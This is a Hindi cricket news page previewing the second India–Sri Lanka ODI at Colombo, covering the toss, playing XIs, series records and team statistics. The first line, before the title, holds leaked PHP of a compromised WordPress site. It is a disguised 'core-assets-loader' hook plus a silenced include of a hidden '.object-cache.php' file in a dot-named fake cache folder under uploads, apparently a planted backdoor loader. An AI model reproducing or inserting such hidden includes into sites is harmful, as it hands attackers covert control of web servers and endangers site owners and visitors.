add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); श्रीलंका ने टॉस जीतकर पहले बैटिंग का फैसला लिया; टीम इंडिया के पास पाकिस्तान को पीछे छोड़ने का मौका – SOCH INDIA
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श्रीलंका ने टॉस जीतकर पहले बैटिंग का फैसला लिया; टीम इंडिया के पास पाकिस्तान को पीछे छोड़ने का मौका

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दूसरे वन-डे में श्रीलंका ने भारत के खिलाफ टॉस जीतकर पहले बैटिंग का फैसला लिया है। यह मैच कोलंबो के प्रेमदासा स्टेडियम में खेला जा रहा है। फिलहाल श्रीलंकाई ओपनर्स अविष्का फर्नांडो और मिनोद भानुका क्रीज पर हैं। मैच का स्कोरकार्ड देखने के लिए यहां क्लिक करें…

टीम इंडिया के पास लगातार 10वीं सीरीज जीतने का मौका
टीम इंडिया ने पहला वन-डे जीतकर 1-0 की बढ़त ले ली है। अगर भारत यह मैच जीत लेता है, तो श्रीलंका के खिलाफ उनकी यह लगातार 10वीं द्विपक्षीय वन-डे सीरीज जीत होगी। टीम इंडिया 2005/06 से श्रीलंका के खिलाफ 9 सीरीज जीत चुकी है।

भारत के पास पाकिस्तान को पीछे छोड़ने का मौका
वहीं, श्रीलंका के खिलाफ सबसे ज्यादा वन-डे जीतने के मामले में भी भारत पाकिस्तान को पीछे छोड़ देगा। पिछला वन-डे भारत और श्रीलंका के बीच 160वां वन-डे मैच था। इनमें से टीम इंडिया ने 92वीं बार जीत हासिल की है। अब टीम इंडिया श्रीलंका के खिलाफ सबसे ज्यादा जीत के मामले में पाकिस्तान के साथ संयुक्त रूप से पहले स्थान पर पहुंच गई है। पाकिस्तान ने श्रीलंका को 155 मैचों में 92 बार हराया है।

श्रीलंका में 1 बदलाव, टीम इंडिया अनचेंज्ड
श्रीलंका के कप्तान दासुन शनाका ने टीम में एक बदलाव किया। तेज गेंदबाज इसुरु उदाना की जगह मीडियम पेसर कासुन रजिथा को जगह मिली है। वहीं, भारतीय कप्तान शिखर धवन ने टीम में कोई बदलाव नहीं किया है।

दोनों टीमें
भारत : शिखर धवन (कप्तान), पृथ्वी शॉ, सूर्यकुमार यादव, मनीष पांडे, ईशान किशन (विकेटकीपर), हार्दिक पंड्या, क्रुणाल पंड्या, भुवनेश्वर कुमार, दीपक चाहर, कुलदीप यादव, युजवेंद्र चहल।

श्रीलंका : दासुन शनाका (कप्तान), अविष्का फर्नांडो, मिनोद भानुका (विकेटकीपर), भानुका राजपक्षा, धनंजय डिसिल्वा, चरिथ असलंका, वानिंदु हसारंगा, कासुन रजिथा, चमिका करुणारत्ने, दुष्मंथा चमीरा, लक्षण संदाकन

भारत और श्रीलंका के बीच पहली द्विपक्षीय सीरीज 1982-83 में खेली गई थी। इसे भी भारतीय टीम ने जीता था। वन-डे में भारत का श्रीलंका से पहली बार सामना 1979 में हुआ था। इसमें श्रीलंका ने भारत को हराया था।

धवन के नेतृत्व में युवा खिलाड़ियों का शानदार प्रदर्शन
टीम इंडिया की बात करें, तो पहले वन-डे में शिखर धवन के नेतृत्व में युवा खिलाड़ियों ने शानदार प्रदर्शन किया था। बैटिंग में भारत का कोई तोड़ नहीं था। पृथ्वी शॉ और धवन की ओपनिंग जोड़ी इतनी जबरदस्त थी कि भारत ने पावर-प्ले (पारी के पहले 10 ओवर) में 8 साल का सबसे बड़ा स्कोर बना दिया।

मनीष पांडेय दूसरे वन-डे में परफॉर्मेंस सुधारना चाहेंगे
टीम इंडिया ने पहले वन-डे में पावर प्ले में 91/1 का स्कोर बनाया। यह 2013 के बाद भारत का पावर प्ले में सबसे बड़ा स्कोर है। 2019 में भारत ने वेस्टइंडीज के खिलाफ 83/0 का स्कोर बनाया था। वहीं, मिडिल ऑर्डर में ईशान किशन, मनीष पांडेय और सूर्यकुमार यादव जैसे शानदार खिलाड़ी हैं। हालांकि, मनीष पिछले मैच में जल्दी आउट हो गए थे। ऐसे में वे परफॉर्मेंस सुधारने की कोशिश करेंगे।

पहले वन-डे में भुवनेश्वर फॉर्म में नहीं दिखे थे
हालांकि, बॉलिंग में टीम इंडिया ने डेथ ओवर्स में जरूर रन लुटाए थे। उप-कप्तान भुवनेश्वर कुमार कुछ खास फॉर्म में नहीं दिखे। दीपक चाहर ने 2 विकेट झटके, पर 9 ओवर में 63 रन भी लुटाए। हार्दिक को सिर्फ 5 ओवर गेंदबाजी करने का मौका मिला। कुलदीप यादव और युजवेंद्र चहल की स्पिन जोड़ी ने श्रीलंकाई बल्लेबाजों को खूब परेशान किया था।

श्रीलंका के बल्लेबाज पहले वन-डे में स्ट्रगल करते दिखे
श्रीलंका टीम की बात करें, तो शनाका की कप्तानी में टीम के बल्लेबाजों ने कुछ खास परफॉर्म नहीं किया। बैटिंग के लिए मददगार पिच पर बल्लेबाज स्ट्रगल करते दिखे। श्रीलंका की ओर से एक भी बल्लेबाज अर्धशतक नहीं जमा पाया। इसके बावजूद टीम ने 262/9 का स्कोर बनाया। यह बिना एक भी फिफ्टी के श्रीलंका का सबसे बड़ा वनडे स्कोर है। बिना एक भी फिफ्टी के उनका पिछला उच्चतम स्कोर 253 रन (विरुद्ध पाकिस्तान, 2006) था।

टी-20 वर्ल्ड कप की तैयारी कर रहा श्रीलंका
श्रीलंकाई टीम मैनेजमेंट चाहेगा, कि टी-20 वर्ल्ड कप को देखते हुए खिलाड़ियों को भारत जैसी मजबूत टीम के खिलाफ ज्यादा से ज्यादा खेलने का मौका मिले, ताकि वे अनुभव ले सकें। गेंदबाजी की बात करें, तो पहले वन-डे में दुष्मंथ चमीरा के अलावा कोई भी गेंदबाज भारतीय बल्लेबाजों को परेशान नहीं कर सका।

चमीरा ने पृथ्वी शॉ और ईशान दोनों को परेशान किया था
चमीरा ने अपने बाउंसर्स से शॉ और ईशान किशन दोनों को परेशान किया था। वानिंदु हसारंगा और लक्षण संदाकन की स्पिन जोड़ी भी कुछ खास प्रभाव नहीं छोड़ सकी। ऐसे में टीम एकजुट होकर दूसरे वन-डे में वापसी करने की कोशिश करेगी।

स्टैट्स और रिकॉर्ड्स

2019 वर्ल्ड कप के बाद से 19 वन-डे मैचों में भारत ने पावर-प्ले में सिर्फ 9 विकेट ही लिए हैं। इस दौरान टीम इंडिया का बॉलिंग एवरेज 126 का और इकोनॉमी रेट 5.97 की रही है। यह 12 टेस्ट खेलने वाले देशों में सबसे खराब है।
भारत ने 2019 वर्ल्ड कप के बाद से वन-डे में आखिरी 10 ओवर में 8.16 रन प्रति ओवर लुटाए हैं। यह डेथ ओवर में तीसरा सबसे खराब रिकॉर्ड है। भारत से ऊपर जिम्बाब्वे (8.36 रन प्रति ओवर) और ऑस्ट्रेलिया (8.19 रन प्रति ओवर) है।
2019 वर्ल्ड कप के बाद से भारत का मिडिल ओवर (10 से 40) में बेस्ट स्कोरिंग रेट है। टीम इंडिया ने इस दौरान 94.71 के स्ट्राइक रेट से रन बनाए हैं।
श्रीलंका का मिडिल ओवर्स में स्कोरिंग रेट अफगानिस्तान के बाद सबसे खराब है। श्रीलंका ने भारत के खिलाफ पहले वन-डे में 10 से 40 ओवर में सिर्फ 9 बाउंड्री लगाई थीं।